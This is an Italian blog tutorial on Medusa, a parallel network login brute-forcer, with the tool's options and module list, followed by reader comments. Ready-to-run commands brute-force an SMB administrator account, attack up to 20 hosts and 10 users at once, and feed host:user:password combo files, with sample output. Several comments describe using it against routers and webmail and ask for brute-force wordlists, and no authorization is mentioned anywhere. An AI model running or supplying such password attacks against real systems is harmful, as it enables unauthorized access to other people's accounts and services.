Medusa -login bruteforcer [+video]

themedusa.jpg
***

Ciao a tutti,

eccoci arrivati a descrivere e a testare un altro tool , inserito in BackTrack nella sezione del “Privilege Escalation” , il tool di cui stiamo parlando , già dalla foto , è il Medusa

…ma cosa è Medusa?
Medusa è un login brute-forcer veloce, modulare, parallelo per servizi di
rete , creato da the geeks [Foofus.net].

Il nome Medusa , deriva proprio dall’obbiettivo principale dei creatori di questo tool , e cioè:

il supporto di quanti più servizi di rete possibili che richiedano l’autenticazione da remoto verso un unico host da attaccare.

I creatori di Medusa individuano 3 caratteristiche principali attribuibili al tool:

Può essere utilizzato contro più hosts, users o passwords contemporaneamnte;

  • -Flessibilità dell’input: le informazioni sull’obbiettivo possono essere fornite al

tool in vari modi e ogni attacco può essere diretto a una sola vittima
o a più vittime contemporaneamente;

  • design modulare: ogni modulo è presente come un file *.mod indipendente.

Ciò significa che non è necessaria alcuna modifica al “core” del tool per implementare
altre funzioni inizialmente non supportate da Medusa.

Passiamo ora all’uso più prettamente pratico del tool in questione:

Per visualizzare tutte le opzioni che Medusa supporta ci basta digitare
%medusa


l’output sarà:


bt ~ # medusa
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

ALERT: Host information must be supplied.

Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
-h [TEXT] : Target hostname or IP address
-H [FILE] : File containing target hostnames or IP addresses
-u [TEXT] : Username to test
-U [FILE] : File containing usernames to test
-p [TEXT] : Password to test
-P [FILE] : File containing passwords to test
-C [FILE] : File containing combo entries. See README for more information.
-O [FILE] : File to append log information to
-e [n/s/ns] : Additional password checks ([n] No Password, [s] Password = Username)
-M [TEXT] : Name of the module to execute (without the .mod extension)
-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)
-d : Dump all known modules
-n [NUM] : Use for non-default TCP port number
-s : Enable SSL
-g [NUM] : Give up after trying to connect for NUM seconds (default 3)
-r [NUM] : Sleep NUM seconds between retry attempts (default 3)
-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be NUM + 1.
-t [NUM] : Total number of logins to be tested concurrently
-T [NUM] : Total number of hosts to be tested concurrently
-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.
-f : Stop scanning host after first valid username/password found.
-F : Stop audit after first valid username/password found on any host.
-b : Suppress startup banner
-q : Display module’s usage information
-v [NUM] : Verbose level [0 – 6 (more)]
-w [NUM] : Error debug level [0 – 10 (more)]
-V : Display version

Ora possiamo visualizzare tutti i moduli che sono già implementati all’ interno di Medusa con la
versione installata indicata a lato , diamo quindi da shell il seguente comando:

bt~# medusa -d

ed il nostro sistema ci elencherà i moduli disponibili…

bt ~ # medusa -d
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

Available modules in “.” :

Available modules in “/usr/local/lib/medusa/modules” :
+ cvs.mod : Brute force module for CVS sessions : version 1.0.0
+ ftp.mod : Brute force module for FTP/FTPS sessions : version 1.3.0
+ http.mod : Brute force module for HTTP : version 1.3.0
+ imap.mod : Brute force module for IMAP sessions : version 1.1.0
+ mssql.mod : Brute force module for M$-SQL sessions : version 1.1.1
+ mysql.mod : Brute force module for MySQL sessions : version 1.2
+ nntp.mod : Brute force module for NNTP sessions : version 0.9
+ pcanywhere.mod : Brute force module for PcAnywhere sessions : version 1.0.2
+ pop3.mod : Brute force module for POP3 sessions : version 1.1.1
+ postgres.mod : Brute force module for PostgreSQL sessions : version 1.0.0
+ rexec.mod : Brute force module for REXEC sessions : version 1.1.1
+ rlogin.mod : Brute force module for RLOGIN sessions : version 1.0.2
+ rsh.mod : Brute force module for RSH sessions : version 1.0.1
+ smbnt.mod : Brute force module for SMB/NTLMv1 sessions : version 1.3.1
+ smtp-auth.mod : Brute force module for SMTP Authentication with TLS : version 0.9.1
+ smtp-vrfy.mod : Brute force module for enumerating accounts via SMTP VRFY : version 0.9.1
+ snmp.mod : Brute force module for SNMP Community Strings : version 1.0.0
+ ssh.mod : Brute force module for SSH v2 sessions : version 1.0.2
+ svn.mod : Brute force module for Subversion sessions : version 1.0.0
+ telnet.mod : Brute force module for telnet sessions : version 1.2.1
+ vmauthd.mod : Brute force module for the VMware Authentication Daemon : version 1.0.0
+ vnc.mod : Brute force module for VNC sessions : version 1.0.1
+ web-form.mod : Brute force module for web forms : version 0.9
+ wrapper.mod : Generic Wrapper Module : version 1.0.1

Per visualizzare le opzioni riguardanti ciascun modulo è sufficiente digitare:
medusa -M nomemodulo -q

esempio: medusa -M mysql -q (Il modulo utilizzato in questo esempio è mysql.mod)


L’output sarà il seguente:

bt ~ # medusa -M mysql -q
Medusa v1.4 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>

mysql.mod (1.2) JoMo-Kun <jmk@foofus.net> :: Brute force module for MySQL sessions

Available module options:
PASS:? (PASSWORD*, HASH)
PASSWORD: Use normal password.
HASH: Use a hash rather than a password. (non-SHA1 hashes only)

(*) Default value

Usage examples:

1: Normal boring check…
medusa -M mysql -h somehost -u someuser -p somepassword

2: Using an old-style MySQL hash…
medusa -M mysql -h somehost -U users.txt -p 39b52a209cf03d62 -m PASS:HASH

Andiamo avanti con il nostro tutorial per capire effettivamente come funziona
Medusa.

Eseguiamo un attacco:
i comandi che seguono servono a Medusa per testare tutte le password contenute nel
file che chiemrò “passwords.txt” contro un singolo user (administrator) sull’host 192.168.0.20 attraverso il protocollo SMB.
I comandi dati dovrebbero essere chiari mentre per l’ -e ns , che non è assolutamente
da tralasciare , serve un’ulteriore spiegazione. Questi infatti serve a per far eseguire al
tool un controllo supplementare , controllo che andrà a verificare che l’administrator abbia lasciato in bianco il campo “password” oppure nel caso in cui “password” e “username” siano gli stessi.

***

bt~# medusa -h 192.168.0.20 -u administrator -P passwords.txt -e ns -M smbnt

Medusa v1.0-rc1 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: (1/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: administrator (2/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: password (3/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass1 (4/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass2 (5/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass3 (6/7)
ACCOUNT CHECK: [smbnt] Host: 192.168.0.20 (1/1) User: administrator (1/1) Password: pass4 (7/7)

***

L’attacco è stato effettuauto.

La riga di comando in basso ci mostra la funzionalità di Medusa per quanto riguarda l’attacco
parallelo. Qui almeno 20 hosts e 10 users sono attaccati contemporaneamente. L’istruzione -L serve per far
controllare a Medusa un solo username di ogni host specificato.

medusa -H hosts.txt -U users.txt -P passwords.txt -T 20 -t 10 -L -F -M smbnt

Medusa è stata progettata per ricevere da input host/username/password, dati che possono essere usati in un file detto “combo” file , ovvero combinato.

Un file combo può essere specficato tramite l’opzione “-C“.
Il file deve avere i valori formattati per colonna in questo modo:
host:user:password
Se uno dei 3 valori viene lasciato vuoto, la rispettiva informazione deve essere fornita o attraverso una
valutazione globale o attraverso un’apposita lista contenuta in un altro file.
Medusa provvederà a un controllo dei parametri utilizzando la prima riga del file fornitogli.

Le combinazioni utilizzabili in un combo file sono le seguenti:

host:username:password
host:username:
host::
:username:password
:username:
::password
host::password

Quindi riportiamo di seguito il comando per un semplice attacco che controllerà ogni voce riportata
in un combo file:

medusa -M smbnt -C combo.txt

il file combo:
192.168.0.20:administrator:password
192.168.0.20:testuser:pass
192.168.0.30:administrator:blah
192.168.0.40:user1:foopass

Mentre l’esempio succesivo servirà per controllare ogni voce del file combo.txt contro gli obbiettivi
in lista nel file “hosts.txt“.

medusa -M smbnt -C combo.txt -H hosts.txt

il file combo.txt:
administrator:password
testuser:pass
administrator:blah
user1:foopass

Medusa inoltra supporta i files PwDump come combo file; la formattazione di questi file deve essere la
seguente:
user:id:lm:ntlm:::
Medusa cerca ::: alla fine della prima linea per determinare se il file contiene un output PwDump.

***

***

Parlando del Medusa , quì nel «back|track~blog , non è la prima volta che parliamo di Password-Attack , infatti prima di questo tool abbiamo trattato l’ Hydra , attualmente sempre in backtrack , ma visto che su Hydra di video in rete già se ne tovano , abbiamo realizzato un video usando come tool appunto Medusa… …per coloro che volessero vederne le differenze posso recarsi a quest’ indirizzo.

Dal video potete vedere benissimo che abbiamo realizzato due tipi di attacco con Medusa , entrambi diretti su di un unico host , determinato tramite IP , dove la prima volta per effettuare l’ attacco usufruisco di quattro files di testo , hosts.txt [opzione -H] , pass.txt [opzione -P] , user.txt [opzione -U] , e res.txt [opzione -O] , per ottenere il risultato in un file di testo.

Dal video , nel primo caso otteniamo il risultato dal valore immesso tra le parentesi da Medusa , [ad esempio (1/7)] , che ha successo con la prima stringa (1) immessa nel file ; nel secondo caso invece utilizzo un file combo , che contiene le stesse informazioni dei files precedenti , naturalmente inseriti come da spiegazione descritta sopra.

Entrambe riportano come password la stringa “brigante“.

Tutti i files sono contenuti nella directory “/” , in modo da non dover digitare da shell tutti i percorsi dove i files *.txt sono contenuti.
…ciao a tutti e alla prossima.

RedBaron & brigante~

5 commenti

  1. Come sempre ottimo lavoro!

    Quante volte ne ho fatto uso…. è un tool ottimoooooo, lo uso soprattutto per quei router un pò ostici! 8)

    See u dudes!

  2. ho dato il comando
    medusa -h ip.del.router -u admin -P /path/del/dizionario -M http
    e mi becco
    Segmentation fault dopo una decina di secondi
    sbaglio qualcosa ?
    grazie

  3. ma per le webmail che protocollo si deve usare. per non passare attraverso il pop ?
    grazie e complimenti.

  4. sighhh sinceramente sto utilizzando da poco linux mi piacerebbe fare delle prove tra i miei pc con sopra montato winzzoz e su altri il mitico debian, peccato che con medusa non so come utilizzarlo ne si trovano tutorial sul corretto uso delle sintassi da usare per trovare una password od un utente nella stessa rete, peccato era un bel oggettino.

  5. Sai dove posso prendere una wordlist sequenziali bruteforce da 3-4 caratteri?
    o anche un programmino che te la crea.


Comments RSS TrackBack Identifier URI

Lascia un commento

Inserisci i tuoi dati qui sotto o clicca su un'icona per effettuare l'accesso:

Logo WordPress.com

Stai commentando usando il tuo account WordPress.com. Chiudi sessione / Modifica )

Foto Twitter

Stai commentando usando il tuo account Twitter. Chiudi sessione / Modifica )

Foto di Facebook

Stai commentando usando il tuo account Facebook. Chiudi sessione / Modifica )

Google+ photo

Stai commentando usando il tuo account Google+. Chiudi sessione / Modifica )

Connessione a %s...